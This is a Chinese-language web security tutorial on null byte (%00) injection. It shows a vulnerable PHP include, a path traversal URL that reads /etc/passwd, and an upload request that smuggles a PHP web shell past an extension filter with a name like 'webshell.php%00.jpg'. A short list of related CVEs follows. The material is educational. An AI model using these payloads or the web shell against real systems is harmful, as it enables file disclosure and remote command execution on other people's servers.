%00
Null byte Injection是一种将Null Byte(如%00或0x00)注入到某个input中,来bypass一些Security Control/Filter的一种手法,这种攻击可以改变Web Application原本的行为和逻辑,这可能导致一些原本不起作用的攻击变得可以实行,甚至造成任意档案上传/RCE等。
例如,有一个网站提供一个图片下载(观看)的功能,并限制只能浏览jpg档
image.php
<?php
$fname = $_REQUEST['file'];
require_once('/var/www/'.$fname.'.jpg');
...
这时候攻击者可以利用Null Byte来截断後面的内容(因为Null Byte常被用来当作字串的结尾),使原本的应用程序行为被改变。
http://example.com/upload.php?file=../../../../etc/passwd%00
这时候应用程序原本应该要读取../../../../etc/passwd%00.jpg
,但因为遇到%00,应用程序认为已经到字串的结尾因此中断变成只拿到../../../../etc/passwd
,而将系统的/etc/passwd印出在网页上。
刚刚介绍的是LFI/RFI的利用手法,那上传呢?
重复上面的例子,但将他变成上传照片的功能,也使用白名单机制
攻击者可以构建一个这样的Request:
POST /upload.php HTTP/1.1
Host: example.com
...
----------------
Content-Disposition: form-data,file=webshell.php%00.jpg
Content-Type: image/jpeg
<?php
echo system($_REQUEST['cmd']);
?>
----------------
就可以成功上传web shell了。当然不只PHP会有这种问题,像是Perl,Java等等也都有可能发生。
这次的Case Study没有甚麽特别需要描述的,因为都是允许%00
或\0
等等Null Byte放在input後端,不一样的是造成的危害不太一样,从LFI、Source code disclosure到bypass detection等,一些其他的RCE通常跟随Web Application的功能而定。下面列出一些曾受影响的Case
Source code disclosure
Bypass detection
XSS Protect Bypass
CVE-2005-3153
PHP Regex Bypass
CVE-2004-0189
Bypass ACL Regex
<<: 那些被忽略但很好用的 Web API / RequestIdleCallback
>>: [C 语言笔记--Day22] 6.S081 Lab syscall: 在 xv6 中新增一个 System Call
天亮了 昨晚是平安夜 关於迷雾森林故事 第九夜 站在方舟甲板的洛神 数了一下玩家人数 就问 怎麽少了...
您的订阅是我制作影片的动力 订阅点这里~ 影片程序码 library(naniar) data(ir...
做 lint 、 format 或是通过测试,对於程序码的品质维护有很大的帮助,因此在提交代码时,我...
Callback Function 回呼函数 A function you give to anot...
一. 前言 这篇是word2vec的paper,网址:https://arxiv.org/pdf/1...